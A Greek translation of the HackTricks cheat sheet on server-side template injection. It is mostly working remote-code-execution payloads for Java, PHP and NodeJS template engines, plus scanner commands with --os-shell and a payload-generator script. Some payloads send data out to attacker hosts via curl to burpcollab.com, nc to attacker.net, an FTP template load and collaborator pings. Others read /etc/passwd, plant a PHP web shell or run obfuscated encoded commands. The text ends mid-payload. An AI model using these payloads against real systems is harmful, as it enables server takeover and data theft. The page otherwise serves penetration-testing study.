55 KiB
SSTI (Server Side Template Injection)
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
RootedCON είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο αποτελεί έναν πυρήνα συνάντησης τεχνολογίας και επαγγελματιών κυβερνοασφάλειας σε κάθε πεδίο.
{% embed url="https://www.rootedcon.com/" %}
Τι είναι η SSTI (Server-Side Template Injection)
Η ενσωμάτωση προτύπων στην πλευρά του διακομιστή είναι μια ευπάθεια που συμβαίνει όταν ένας επιτιθέμενος μπορεί να ενσωματώσει κακόβουλο κώδικα σε ένα πρότυπο που εκτελείται στον διακομιστή. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένου του Jinja.
Το Jinja είναι ένα δημοφιλές μηχανισμό προτύπων που χρησιμοποιείται σε εφαρμογές web. Ας εξετάσουμε ένα παράδειγμα που δείχνει ένα ευάλωτο απόσπασμα κώδικα χρησιμοποιώντας το Jinja:
output = template.render(name=request.args.get('name'))
Σε αυτόν τον ευάλωτο κώδικα, το παράμετρο name
από το αίτημα του χρήστη περνιέται απευθείας στο πρότυπο χρησιμοποιώντας τη λειτουργία render
. Αυτό μπορεί θεωρητικά να επιτρέψει σε έναν επιτιθέμενο να ενθάρρυνε κακόβουλο κώδικα στην παράμετρο name
, οδηγώντας σε ενσωμάτωση προτύπου στην πλευρά του διακομιστή.
Για παράδειγμα, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα αίτημα με ένα φορτίο όπως αυτό:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Το payload {{κακό-περιεχόμενο-εδώ}}
εισάγεται στην παράμετρο name
. Αυτό το payload μπορεί να περιέχει οδηγίες του Jinja template που επιτρέπουν στον επιτιθέμενο να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειριστεί τη μηχανή προτύπων, αποκτώντας πιθανώς έλεγχο επί του διακομιστή.
Για να αποτρέψουν τις ευπάθειες ενσωμάτωσης προτύπων στην πλευρά του διακομιστή, οι προγραμματιστές πρέπει να διασφαλίσουν ότι η είσοδος του χρήστη αποσκοπεί σωστά και επικυρώνεται πριν ενσωματωθεί στα πρότυπα. Η εφαρμογή ελέγχου εισόδου και η χρήση τεχνικών αποφυγής που είναι ευαίσθητες στο πλαίσιο μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας.
Ανίχνευση
Για την ανίχνευση της Ενσωμάτωσης Προτύπων στην Πλευρά του Διακομιστή (SSTI), αρχικά, η δοκιμή του προτύπου είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (${{<%[%'"}}%\
) στο πρότυπο και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα έναντι αυτού του ειδικού payload. Οι ένδειξεις ευπαθειών περιλαμβάνουν:
- Ρίψη σφαλμάτων, αποκαλύπτοντας την ευπάθεια και πιθανώς τη μηχανή προτύπων.
- Απουσία του payload στον αντανακλασμό, ή μέρη του να λείπουν, υπονοώντας ότι ο διακομιστής το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα.
- Κείμενο Κειμένου: Διάκριση από XSS ελέγχοντας αν ο διακομιστής αξιολογεί τις εκφράσεις προτύπων (π.χ.,
{{7*7}}
,${7*7}
). - Πλαίσιο Κώδικα: Επιβεβαίωση της ευπαθείας αλλάζοντας τις παραμέτρους εισόδου. Για παράδειγμα, αλλάζοντας το
greeting
στοhttp://vulnerable-website.com/?greeting=data.username
για να δούμε αν η έξοδος του διακομιστή είναι δυναμική ή σταθερή, όπως στοgreeting=data.username}}hello
που επιστρέφει το όνομα χρήστη.
Φάση Αναγνώρισης
Η αναγνώριση της μηχανής προτύπων περιλαμβάνει την ανάλυση μηνυμάτων σφαλμάτων ή τη δοκιμή χειροκίνητα διαφόρων φορτίων που είναι συγκεκριμένα για τη γλώσσα. Συνηθισμένα φορτία που προκαλούν σφάλματα περιλαμβάνουν ${7/0}
, {{7/0}}
, και <%= 7/0 %>
. Η παρατήρηση της απόκρισης του διακομιστή σε μαθηματικές πράξεις βοηθά στον εντοπισμό της συγκεκριμένης μηχανής προτύπων.
Εργαλεία
TInjA
ένα αποτελεσματικό σαρώτη SSTI + CSTI που χρησιμοποιεί νέα πολύγλωττα
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Πίνακας Ενσωμάτωσης Προτύπου
ένας διαδραστικός πίνακας που περιέχει τους πιο αποδοτικούς πολύγλωττους ενσωματώσεων προτύπου μαζί με τις αναμενόμενες απαντήσεις των 44 πιο σημαντικών μηχανών προτύπου.
Εκμεταλλεύσεις
Γενικές
Σε αυτό το λεξικό μπορείτε να βρείτε μεταβλητές που έχουν οριστεί στα περιβάλλοντα ορισμένων από τις μηχανές που αναφέρονται παρακάτω:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Βασική ενσωμάτωση
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Ανάκτηση των μεταβλητών περιβάλλοντος του συστήματος
${T(java.lang.System).getenv()}
Java - Ανάκτηση /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Μπορείτε να δοκιμάσετε τα payloads σας στο https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Παράκαμψη αμμώδους χώρου
⚠️ λειτουργεί μόνο σε εκδόσεις του Freemarker κάτω από 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Περισσότερες πληροφορίες
- Στην ενότητα FreeMarker του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Περισσότερες πληροφορίες
- Στην ενότητα Velocity του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
Στο Thymeleaf, ένα κοινό τεστ για ευπάθειες SSTI είναι η έκφραση ${7*7}
, η οποία ισχύει επίσης για αυτόν τον μηχανισμό προτύπων. Για πιθανή εκτέλεση απομακρυσμένου κώδικα, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι παρακάτω:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Το Thymeleaf απαιτεί αυτές οι εκφράσεις να τοποθετούνται εντός συγκεκριμένων γνωρισμάτων. Ωστόσο, υποστηρίζεται η ενσωμάτωση εκφράσεων για άλλες τοποθεσίες προτύπων, χρησιμοποιώντας σύνταξη όπως [[...]]
ή [(...)]
. Έτσι, ένα απλό φορτίο δοκιμής SSTI μπορεί να μοιάζει με [[${7*7}]]
.
Ωστόσο, η πιθανότητα λειτουργίας αυτού του φορτίου είναι γενικά χαμηλή. Η προεπιλεγμένη διαμόρφωση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία προτύπων. Τα πρότυπα πρέπει να είναι προκαθορισμένα. Οι προγραμματιστές θα χρειαζόταν να υλοποιήσουν τον δικό τους TemplateResolver
για τη δημιουργία προτύπων από συμβολοσειρές επί τόπου, κάτι που είναι ασυνήθιστο.
Επίσης, το Thymeleaf προσφέρει προεπεξεργασία εκφράσεων, όπου οι εκφράσεις μέσα σε διπλά κάτω παύλες (__...__
) υποβάλλονται σε προεπεξεργασία. Αυτό το χαρακτηριστικό μπορεί να χρησιμοποιηθεί στην κατασκευή εκφράσεων, όπως φαίνεται στην τεκμηρίωση του Thymeleaf:
#{selection.__${sel.code}__}
Παράδειγμα ευπάθειας στο Thymeleaf
Λάβετε υπόψη το ακόλουθο απόσπασμα κώδικα, το οποίο θα μπορούσε να είναι ευάλωτο σε εκμετάλλευση:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Αυτό υποδηλώνει ότι εάν ο μηχανισμός προτύπου επεξεργάζεται αυτές τις εισόδους εσφαλμένα, μπορεί να οδηγήσει σε εκτέλεση απομακρυσμένου κώδικα με πρόσβαση σε διευθύνσεις URL όπως:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Περισσότερες πληροφορίες
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Πλαίσιο Spring (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Παράκαμψη φίλτρων
Μπορούν να χρησιμοποιηθούν πολλαπλές μεταβλητές εκφράσεις, αν το ${...}
δεν λειτουργεί δοκιμάστε #{...}
, *{...}
, @{...}
ή ~{...}
.
- Διαβάστε το
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Προσαρμοσμένο Σενάριο για τη δημιουργία φορτίου
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Περισσότερες Πληροφορίες
Αλλαγή Προβολής Spring (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ κάποιαΣυμβολοσειρά.toUPPERCASE() }}
Παλιά έκδοση του Pebble ( < έκδοση 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Νέα έκδοση του Pebble:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava (Τζάβα)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava - Εκτέλεση εντολών
Διορθώθηκε από https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Περισσότερες πληροφορίες
Hubspot - HuBL (Java)
{% %}
διαχωριστές δηλώσεων{{ }}
διαχωριστές εκφράσεων{# #}
διαχωριστές σχολίων{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Αναζήτηση για "com.hubspot.content.hubl.context.TemplateContextRequest" και ανακάλυψη του Jinjava project στο Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Περισσότερες πληροφορίες
Γλώσσα Έκφρασης - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Η Γλώσσα Έκφρασης (EL) είναι μια βασική λειτουργία που διευκολύνει την αλληλεπίδραση μεταξύ του επιπέδου παρουσίασης (όπως οι ιστοσελίδες) και της λογικής εφαρμογής (όπως οι διαχειριζόμενες μονάδες) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για την επιτάχυνση αυτής της επικοινωνίας. Οι βασικές τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν:
- JavaServer Faces (JSF): Χρησιμοποιεί EL για τη σύνδεση στοιχείων σε σελίδες JSF με τα αντίστοιχα δεδομένα και ενέργειες στο παρασκήνιο.
- JavaServer Pages (JSP): Η EL χρησιμοποιείται στο JSP για την πρόσβαση και την επεξεργασία δεδομένων μέσα στις σελίδες JSP, κάνοντας ευκολότερη τη σύνδεση στοιχείων σελίδας με τα δεδομένα της εφαρμογής.
- Contexts and Dependency Injection for Java EE (CDI): Η EL ενσωματώνεται με το CDI για να επιτρέψει την άψογη αλληλεπίδραση μεταξύ του επιπέδου ιστού και των διαχειριζόμενων μονάδων, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής.
Ελέγξτε την ακόλουθη σελίδα για να μάθετε περισσότερα σχετικά με την εκμετάλλευση των διερμηνευτών EL:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
Οι παρακάτω παράκαμψεις του Υπεύθυνου Ασφαλείας προέρχονται από αυτήν την ανάλυση.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο αποτελεί έναν ζωντανό χώρο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Περισσότερες πληροφορίες
- Στην ενότητα Smarty του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Μορφή προτύπου
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Περισσότερες πληροφορίες
- Στην ενότητα Twig και Twig (Sandboxed) του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Το Plates είναι ένα σύστημα προτύπων που είναι ενσωματωμένο στη γλώσσα PHP, εμπνευσμένο από το Twig. Ωστόσο, αντίθετα με το Twig, το οποίο εισάγει μια νέα σύνταξη, το Plates χρησιμοποιεί τον κώδικα PHP στα πρότυπα, κάνοντας το ευανάγνωστο για τους προγραμματιστές PHP.
Ελεγκτής:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Πρότυπο σελίδας:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Διάταξη προτύπου:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Περισσότερες πληροφορίες
PHPlib και HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB είναι το ίδιο με το PHPlib αλλά μεταφέρθηκε στο Pear.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
Server-Side Template Injection (SSTI)
Description
Server-Side Template Injection (SSTI) occurs when an application allows user input to be evaluated as a template on the server. This can lead to arbitrary code execution and a full compromise of the server.
Exploitation
To exploit SSTI, an attacker can inject template code into user input fields that are later evaluated by the server. This can be achieved by identifying where user input is being used in templates and injecting template code accordingly.
Prevention
To prevent SSTI, it is important to validate and sanitize all user input before using it in templates. Additionally, using a safe templating engine that automatically escapes user input can help mitigate the risk of SSTI vulnerabilities.
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Περισσότερες πληροφορίες
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Περισσότερες πληροφορίες
- Στην ενότητα Jade του https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate μη συντακτικός μηχανισμός προτύπων PHP, που χρησιμοποιεί ετικέτες XML για να διαιρέσει ένα έγγραφο σε διαφορετικά μέρη
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Περισσότερες πληροφορίες
Handlebars (NodeJS)
Διαχείριση Διαδρομής (περισσότερες πληροφορίες εδώ).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Σφάλμα
- ${7*7} = ${7*7}
- Τίποτα
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2F